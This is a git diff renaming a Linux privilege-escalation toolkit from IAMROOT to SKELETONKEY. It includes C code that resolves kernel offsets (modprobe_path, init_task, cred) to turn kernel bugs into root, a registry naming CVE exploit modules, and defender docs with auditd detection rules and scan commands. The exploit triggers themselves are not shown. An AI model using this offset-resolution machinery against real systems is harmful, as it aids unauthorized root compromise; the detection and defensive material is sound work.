* ------------------------------------------------------------------ */
static int parse_symfile(const char *path,
struct iamroot_kernel_offsets *o,
enum iamroot_offset_source tag)
struct skeletonkey_kernel_offsets *o,
enum skeletonkey_offset_source tag)
{
FILE *f = fopen(path, "r");
if (!f) return 0;
@@ -225,7 +225,7 @@ static int parse_symfile(const char *path,
* Source 4: embedded table — relative offsets, applied on top of kbase
* if we already have one.
* ------------------------------------------------------------------ */
static void apply_table(struct iamroot_kernel_offsets *o)
static void apply_table(struct skeletonkey_kernel_offsets *o)
{
if (!o->kernel_release[0]) return;
@@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
/* ------------------------------------------------------------------
* Top-level resolve()
* ------------------------------------------------------------------ */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
{
memset(out, 0, sizeof *out);
@@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
return critical;
}
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase)
{
if (!leaked_kbase) return;
@@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
apply_table(off);
}
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
{
return off && off->modprobe_path != 0;
}
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
{
return off && off->init_task != 0 && off->cred_offset_real != 0
&& off->cred_uid_offset != 0;
}
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
{
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
off->kernel_release[0] ? off->kernel_release : "?",
@@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
(unsigned long)off->kbase,
(unsigned long)off->modprobe_path,
iamroot_offset_source_name(off->source_modprobe));
skeletonkey_offset_source_name(off->source_modprobe));
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
(unsigned long)off->init_task,
iamroot_offset_source_name(off->source_init_task),
skeletonkey_offset_source_name(off->source_init_task),
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
iamroot_offset_source_name(off->source_cred));
skeletonkey_offset_source_name(off->source_cred));
}
+17 -17
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel offset resolution
* SKELETONKEY — kernel offset resolution
*
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
* (heap-OOB write, UAF, etc.). Converting that to root requires
@@ -10,7 +10,7 @@
* Those addresses vary per kernel build. This file resolves them at
* runtime via a four-source chain:
*
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
* 4. Embedded table keyed by `uname -r` glob (entries are
@@ -22,14 +22,14 @@
* pointing the operator at the manual workflow.
*/
#ifndef IAMROOT_OFFSETS_H
#define IAMROOT_OFFSETS_H
#ifndef SKELETONKEY_OFFSETS_H
#define SKELETONKEY_OFFSETS_H
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
enum iamroot_offset_source {
enum skeletonkey_offset_source {
OFFSETS_NONE = 0,
OFFSETS_FROM_ENV = 1,
OFFSETS_FROM_KALLSYMS = 2,
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
OFFSETS_FROM_TABLE = 4,
};
struct iamroot_kernel_offsets {
struct skeletonkey_kernel_offsets {
/* Host fingerprint */
char kernel_release[128]; /* uname -r */
char distro[64]; /* parsed from /etc/os-release ID= */
/* Kernel base — needed when offsets are relative-to-_text.
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
uintptr_t kbase;
/* Symbol virtual addresses (final, post-KASLR-resolution). */
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
/* Where did each field come from. */
enum iamroot_offset_source source_modprobe;
enum iamroot_offset_source source_init_task;
enum iamroot_offset_source source_cred;
enum skeletonkey_offset_source source_modprobe;
enum skeletonkey_offset_source source_init_task;
enum skeletonkey_offset_source source_cred;
};
/* Best-effort resolution. Returns the number of critical fields
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
*
* Resolution chain is tried in order; later sources do NOT overwrite
* a field already set by an earlier source. */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
/* Apply a runtime-leaked kbase to any embedded-table entries that
* shipped as relative-to-_text offsets. Idempotent. */
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase);
/* Returns true if modprobe_path can be written (the simplest root-pop
* finisher). */
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
/* Returns true if init_task + cred offsets are known (the cred-uid
* finisher). */
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
/* For diagnostic logging — pretty-print what we resolved to stderr. */
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
/* Helper: return the name of the source enum. */
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
#endif /* IAMROOT_OFFSETS_H */
#endif /* SKELETONKEY_OFFSETS_H */
+9 -9
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — module registry implementation
* SKELETONKEY — module registry implementation
*
* Simple flat array. Resized in chunks of 16. We never expect more
* than a few dozen modules, so this is fine.
@@ -14,22 +14,22 @@
#define REGISTRY_CHUNK 16
static const struct iamroot_module **g_modules = NULL;
static const struct skeletonkey_module **g_modules = NULL;
static size_t g_count = 0;
static size_t g_cap = 0;
void iamroot_register(const struct iamroot_module *m)
void skeletonkey_register(const struct skeletonkey_module *m)
{
if (m == NULL || m->name == NULL) {
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
return;
}
if (g_count == g_cap) {
size_t new_cap = g_cap + REGISTRY_CHUNK;
const struct iamroot_module **n =
const struct skeletonkey_module **n =
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
if (n == NULL) {
fprintf(stderr, "[!] iamroot_register: OOM\n");
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
return;
}
g_modules = n;
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
g_modules[g_count++] = m;
}
size_t iamroot_module_count(void)
size_t skeletonkey_module_count(void)
{
return g_count;
}
const struct iamroot_module *iamroot_module_at(size_t i)
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
{
if (i >= g_count) return NULL;
return g_modules[i];
}
const struct iamroot_module *iamroot_module_find(const char *name)
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
{
if (name == NULL) return NULL;
for (size_t i = 0; i < g_count; i++) {
+30 -30
View File
@@ -1,44 +1,44 @@
/*
* IAMROOT — module registry
* SKELETONKEY — module registry
*
* Global list of registered modules. Each family contributes via
* register_<family>_modules() called from iamroot main() at startup.
* register_<family>_modules() called from skeletonkey main() at startup.
*/
#ifndef IAMROOT_REGISTRY_H
#define IAMROOT_REGISTRY_H
#ifndef SKELETONKEY_REGISTRY_H
#define SKELETONKEY_REGISTRY_H
#include "module.h"
void iamroot_register(const struct iamroot_module *m);
void skeletonkey_register(const struct skeletonkey_module *m);
size_t iamroot_module_count(void);
const struct iamroot_module *iamroot_module_at(size_t i);
size_t skeletonkey_module_count(void);
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
/* Find a module by name. Returns NULL if not found. */
const struct iamroot_module *iamroot_module_find(const char *name);
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
/* Each module family declares one of these in its public header. The
* top-level iamroot main() calls them in order at startup. */
void iamroot_register_copy_fail_family(void);
void iamroot_register_dirty_pipe(void);
void iamroot_register_entrybleed(void);
void iamroot_register_pwnkit(void);
void iamroot_register_nf_tables(void);
void iamroot_register_overlayfs(void);
void iamroot_register_cls_route4(void);
void iamroot_register_dirty_cow(void);
void iamroot_register_ptrace_traceme(void);
void iamroot_register_netfilter_xtcompat(void);
void iamroot_register_af_packet(void);
void iamroot_register_fuse_legacy(void);
void iamroot_register_stackrot(void);
void iamroot_register_af_packet2(void);
void iamroot_register_cgroup_release_agent(void);
void iamroot_register_overlayfs_setuid(void);
void iamroot_register_nft_set_uaf(void);
void iamroot_register_af_unix_gc(void);
void iamroot_register_nft_fwd_dup(void);
void iamroot_register_nft_payload(void);
* top-level skeletonkey main() calls them in order at startup. */
void skeletonkey_register_copy_fail_family(void);
void skeletonkey_register_dirty_pipe(void);
void skeletonkey_register_entrybleed(void);
void skeletonkey_register_pwnkit(void);
void skeletonkey_register_nf_tables(void);
void skeletonkey_register_overlayfs(void);
void skeletonkey_register_cls_route4(void);
void skeletonkey_register_dirty_cow(void);
void skeletonkey_register_ptrace_traceme(void);
void skeletonkey_register_netfilter_xtcompat(void);
void skeletonkey_register_af_packet(void);
void skeletonkey_register_fuse_legacy(void);
void skeletonkey_register_stackrot(void);
void skeletonkey_register_af_packet2(void);
void skeletonkey_register_cgroup_release_agent(void);
void skeletonkey_register_overlayfs_setuid(void);
void skeletonkey_register_nft_set_uaf(void);
void skeletonkey_register_af_unix_gc(void);
void skeletonkey_register_nft_fwd_dup(void);
void skeletonkey_register_nft_payload(void);
#endif /* IAMROOT_REGISTRY_H */
#endif /* SKELETONKEY_REGISTRY_H */
+11 -11
View File
@@ -14,7 +14,7 @@ modules/<module_name>/
├── MODULE.md # Human-readable writeup of the bug
├── NOTICE.md # Credits to original researcher
├── kernel-range.json # Machine-readable affected kernels
├── module.c # Implements iamroot_module interface
├── module.c # Implements skeletonkey_module interface
├── module.h
├── detect/
│ ├── auditd.rules # blue team detection
@@ -24,10 +24,10 @@ modules/<module_name>/
└── tests/ # per-module tests (run in CI matrix)
```
### `iamroot_module` interface (planned, Phase 1)
### `skeletonkey_module` interface (planned, Phase 1)
```c
struct iamroot_module {
struct skeletonkey_module {
const char *name; /* "copy_fail" */
const char *cve; /* "CVE-2026-31431" */
const char *summary; /* one-line description */
@@ -35,29 +35,29 @@ struct iamroot_module {
/* Return 1 if host appears vulnerable, 0 if patched/immune,
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
* etc. from core/ if a leak primitive is needed. */
int (*detect)(struct iamroot_host *host);
int (*detect)(struct skeletonkey_host *host);
/* Run the exploit. Caller has already passed the
* authorization gate. Returns 0 on root acquired,
* nonzero on failure. */
int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
/* Apply a runtime mitigation for this CVE (sysctl, module
* blacklist, etc.). Returns 0 on success. NULL if no
* mitigation is offered. */
int (*mitigate)(struct iamroot_host *host);
int (*mitigate)(struct skeletonkey_host *host);
/* Undo --exploit-backdoor or --mitigate side effects. */
int (*cleanup)(struct iamroot_host *host);
int (*cleanup)(struct skeletonkey_host *host);
/* Affected kernel version range, distros covered, etc. */
const struct iamroot_kernel_range *ranges;
const struct skeletonkey_kernel_range *ranges;
size_t n_ranges;
};
```
Modules register themselves at link time via a constructor-attribute
table. The top-level `iamroot` binary iterates the registry on each
table. The top-level `skeletonkey` binary iterates the registry on each
invocation.
## Shared `core/`
@@ -78,7 +78,7 @@ Code that more than one module needs lives in `core/`:
## Top-level dispatcher
`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
`--detect-rules`, `--cleanup`, etc.)
@@ -109,7 +109,7 @@ the module).
1. `git checkout -b add-cve-XXXX-NNNN`
2. `cp -r modules/_stubs/_template modules/<module_name>`
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
4. Implement `module.c` exposing the `iamroot_module` interface
4. Implement `module.c` exposing the `skeletonkey_module` interface
5. Ship at least one detection rule under `detect/`
6. Add tests under `tests/`
7. PR. CI runs the matrix. If it lands root on at least one
+34 -34
View File
@@ -1,25 +1,25 @@
# IAMROOT for defenders
# SKELETONKEY for defenders
IAMROOT is dual-use: the same binary that runs exploits also ships the
SKELETONKEY is dual-use: the same binary that runs exploits also ships the
detection rules to spot them. This document is for the blue team.
## TL;DR
```bash
# 1. Detect what you're vulnerable to (no system modification)
sudo iamroot --scan --json | jq .
sudo skeletonkey --scan --json | jq .
# 2. Deploy detection rules covering every bundled CVE
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo systemctl restart auditd
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE
sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE
# 4. Watch
sudo ausearch -k iamroot-copy-fail -ts recent
sudo ausearch -k iamroot-dirty-pipe -ts recent
sudo ausearch -k iamroot-pwnkit -ts recent
sudo ausearch -k skeletonkey-copy-fail -ts recent
sudo ausearch -k skeletonkey-dirty-pipe -ts recent
sudo ausearch -k skeletonkey-pwnkit -ts recent
```
## Why a single tool for offense and defense
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
Public LPE PoCs ship without detection rules. Public detection rules
ship without test corpora. The gap means defenders deploy rules they
never validate against a real exploit, and attackers iterate against
defenders who haven't tuned thresholds. IAMROOT closes that loop:
defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
- Each module ships an exploit AND the detection rules that catch it.
- Every CVE in `CVES.md` has a row in the rule corpus.
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
### Inventory what's bundled
```bash
iamroot --list
skeletonkey --list
```
Prints every registered module with CVE, family, and one-line summary.
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
### Run all detectors
```bash
iamroot --scan # human-readable
iamroot --scan --json # one JSON object → SIEM ingest
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
skeletonkey --scan # human-readable
skeletonkey --scan --json # one JSON object → SIEM ingest
skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
```
Result codes per module:
@@ -63,23 +63,23 @@ Result codes per module:
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
`iamroot --scan` returns the WORST result code across all modules.
`skeletonkey --scan` returns the WORST result code across all modules.
Use this in CI to fail builds that produce vulnerable images.
### Deploy detection rules
```bash
# auditd (most environments)
sudo iamroot --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-iamroot.rules
sudo skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo augenrules --load # or systemctl restart auditd
# Sigma (for SIEMs that ingest sigma)
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
# YARA / Falco — placeholders for future modules; currently empty
iamroot --detect-rules --format=yara
iamroot --detect-rules --format=falco
skeletonkey --detect-rules --format=yara
skeletonkey --detect-rules --format=falco
```
Rules are emitted in registry order, deduplicated by string-pointer:
@@ -91,19 +91,19 @@ auditd config).
| Key | Modules | What it catches |
|---|---|---|
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
| `iamroot-pwnkit` | pwnkit | pkexec watch |
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
Search:
```bash
sudo ausearch -k iamroot-copy-fail -ts today
sudo ausearch -k iamroot-pwnkit -ts today
sudo ausearch -k skeletonkey-copy-fail -ts today
sudo ausearch -k skeletonkey-pwnkit -ts today
```
### Mitigate (pre-patch)
@@ -114,10 +114,10 @@ distro-portable workarounds:
```bash
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
sudo iamroot --mitigate copy_fail
sudo skeletonkey --mitigate copy_fail
# Revert mitigation (e.g., before applying the real kernel patch)
sudo iamroot --cleanup copy_fail
sudo skeletonkey --cleanup copy_fail
```
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
```bash
# scan a host list via ssh
for h in $(cat fleet.txt); do
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
done | jq -s . > fleet-scan-$(date +%F).json
# group by vulnerability
@@ -148,9 +148,9 @@ modification.
| Rule | False-positive shape |
|---|---|
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
The shipped rules are starting points. Tune per environment.
+53 -53
View File
@@ -1,6 +1,6 @@
# IAMROOT detection playbook
# SKELETONKEY detection playbook
Operational guide for blue teams using IAMROOT defensively. Pairs
Operational guide for blue teams using SKELETONKEY defensively. Pairs
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
make it part of your daily ops" guide.
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
```
┌─────────────┐
│ inventory │ ← iamroot --list (what's bundled?)
│ inventory │ ← skeletonkey --list (what's bundled?)
└──────┬──────┘
┌─────────────┐
│ scan │ ← iamroot --scan --json (what am I vulnerable to?)
│ scan │ ← skeletonkey --scan --json (what am I vulnerable to?)
└──────┬──────┘
┌─────────────┐
│ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt
│ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt
└──────┬──────┘
┌────────────┼────────────┐
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
└────────────┼────────────┘
┌─────────────┐
│ monitor │ ← ausearch -k iamroot-* / SIEM alerts
│ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts
└─────────────┘
```
@@ -39,17 +39,17 @@ make it part of your daily ops" guide.
```bash
# Daily/weekly hygiene check
sudo iamroot --scan
sudo skeletonkey --scan
# If anything's VULNERABLE, deploy detections + apply mitigation
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo augenrules --load
sudo iamroot --mitigate copy_fail # or whichever module fired
sudo skeletonkey --mitigate copy_fail # or whichever module fired
```
### Small fleet (~10-100 hosts, SSH-reachable)
Use `tools/iamroot-fleet-scan.sh`:
Use `tools/skeletonkey-fleet-scan.sh`:
```bash
# Hosts list — one per line; user@host:port supported
@@ -61,8 +61,8 @@ ops@db-01:2222
EOF
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
./iamroot-fleet-scan.sh \
--binary ./iamroot \
./skeletonkey-fleet-scan.sh \
--binary ./skeletonkey \
--ssh-key ~/.ssh/ops_key \
--parallel 8 \
hosts.txt > fleet-scan-$(date +%F).json
@@ -95,7 +95,7 @@ Output shape:
### Larger fleet (>100 hosts)
`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
fleets too large for SSH-fan-out, wrap it in your config-management
tool of choice:
@@ -108,22 +108,22 @@ tool of choice:
Sample Ansible task:
```yaml
- name: scan with iamroot
- name: scan with skeletonkey
copy:
src: iamroot
dest: /tmp/iamroot
src: skeletonkey
dest: /tmp/skeletonkey
mode: '0755'
- name: run --scan --json
command: /tmp/iamroot --scan --json --no-color
command: /tmp/skeletonkey --scan --json --no-color
register: scan
changed_when: false
failed_when: false # iamroot exit codes are semantic, not errors
failed_when: false # skeletonkey exit codes are semantic, not errors
- name: collect
set_fact:
iamroot_scan: "{{ scan.stdout | from_json }}"
skeletonkey_scan: "{{ scan.stdout | from_json }}"
- name: cleanup
file:
path: /tmp/iamroot
path: /tmp/skeletonkey
state: absent
```
@@ -133,46 +133,46 @@ Sample Ansible task:
```
# splunk input config (inputs.conf)
[script:///opt/iamroot/iamroot-cron-scan.sh]
[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
interval = 86400
source = iamroot
sourcetype = iamroot:scan
source = skeletonkey
sourcetype = skeletonkey:scan
```
`iamroot-cron-scan.sh`:
`skeletonkey-cron-scan.sh`:
```bash
#!/bin/bash
/usr/local/bin/iamroot --scan --json --no-color
/usr/local/bin/skeletonkey --scan --json --no-color
```
Search the indexed events:
```spl
index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
| stats count by host modules{}.cve
```
### Elastic / OpenSearch
Filebeat module reading the per-host scan JSON files (one per day),
indexed into an `iamroot-*` index pattern. Standard Kibana
indexed into an `skeletonkey-*` index pattern. Standard Kibana
visualization on `modules.cve` over time tracks vulnerability lifecycle.
### Sigma → your platform
```bash
# Ship Sigma rules into your platform
iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
sigmac -t elastic /etc/sigma/iamroot.yml
sigmac -t elastic /etc/sigma/skeletonkey.yml
```
## Day-to-day operational shape
### What "good" looks like in the SIEM
- Daily `iamroot --scan --json` from every host indexed
- Daily `skeletonkey --scan --json` from every host indexed
- Trend dashboard: count of VULNERABLE results by CVE over time
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
patched-mainline bugs, 24h for actively-exploited)
@@ -181,22 +181,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
### Auditd events from the embedded rules
After deploying `iamroot --detect-rules --format=auditd`:
After deploying `skeletonkey --detect-rules --format=auditd`:
```bash
# By module key
sudo ausearch -k iamroot-copy-fail -ts today
sudo ausearch -k iamroot-dirty-pipe -ts today
sudo ausearch -k iamroot-pwnkit -ts today
sudo ausearch -k iamroot-nf-tables-userns -ts today
sudo ausearch -k iamroot-overlayfs -ts today
sudo ausearch -k skeletonkey-copy-fail -ts today
sudo ausearch -k skeletonkey-dirty-pipe -ts today
sudo ausearch -k skeletonkey-pwnkit -ts today
sudo ausearch -k skeletonkey-nf-tables-userns -ts today
sudo ausearch -k skeletonkey-overlayfs -ts today
# Anything iamroot-tagged in the last hour
sudo ausearch -k 'iamroot-*' -ts recent
# Anything skeletonkey-tagged in the last hour
sudo ausearch -k 'skeletonkey-*' -ts recent
# Forward to syslog (rsyslog example)
# /etc/rsyslog.d/iamroot.conf:
:msg, contains, "iamroot-" @@your-siem.example.com:514
# /etc/rsyslog.d/skeletonkey.conf:
:msg, contains, "skeletonkey-" @@your-siem.example.com:514
```
### When a VULNERABLE result fires
@@ -208,11 +208,11 @@ A scan reports VULNERABLE for module X
├── Q: Can I patch the underlying kernel / package?
│ ├── YES → schedule patch window. In the meantime:
│ │ iamroot --mitigate X (if supported)
│ │ skeletonkey --mitigate X (if supported)
│ │ Verify auditd rule for X is loaded.
│ │ Monitor for the rule key.
│ └── NO (legacy LTS, embedded device, prod freeze) →
iamroot --mitigate X (essential)
skeletonkey --mitigate X (essential)
│ Compensating control: tighten LSM (SELinux/AppArmor)
│ Document in risk register
@@ -238,7 +238,7 @@ If you applied a mitigation and now need to revert (e.g., the kernel
patch has rolled out fleet-wide):
```bash
sudo iamroot --cleanup copy_fail
sudo skeletonkey --cleanup copy_fail
# OR manually:
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
@@ -249,11 +249,11 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
| Rule key | False positive | Fix |
|---|---|---|
| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
## Pre-patch quarantine pattern
@@ -261,13 +261,13 @@ If a CVE is in active exploitation and you can't patch immediately:
```bash
# Stage 1: detect
sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
# Stage 2: mitigate (where supported)
sudo iamroot --mitigate <module>
sudo skeletonkey --mitigate <module>
# Stage 3: monitor — auditd rules already deployed
sudo ausearch -k 'iamroot-*' -ts today | grep <module>
sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
# Stage 4: contain — temporarily restrict the trigger surface
# e.g., for nf_tables CVE-2024-1086:
@@ -281,7 +281,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
## Maintenance contract
When IAMROOT ships a new module:
When SKELETONKEY ships a new module:
1. CI test passes on at least one vulnerable + patched kernel pair
2. Detection rules ship alongside (auditd + sigma minimum)
@@ -293,7 +293,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
## When you find a new false positive
File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
- The exact ausearch line that fired
- The legitimate process that produced it
- Distro / kernel version
+13 -13
View File
@@ -2,24 +2,24 @@
## Acceptable use
IAMROOT is intended for:
SKELETONKEY is intended for:
1. **Authorized red-team / pentest engagements.** You have a written
scope, signed by someone who can authorize testing on the target
systems.
2. **Defensive teams testing detection coverage.** You're using
IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
expected.
3. **Security researchers studying historical LPEs.** You're reading
the code, running it in your own VMs, learning how the primitives
actually work end-to-end.
4. **Build engineers verifying patch coverage.** You're running
`iamroot --scan` against your fleet's golden images to confirm
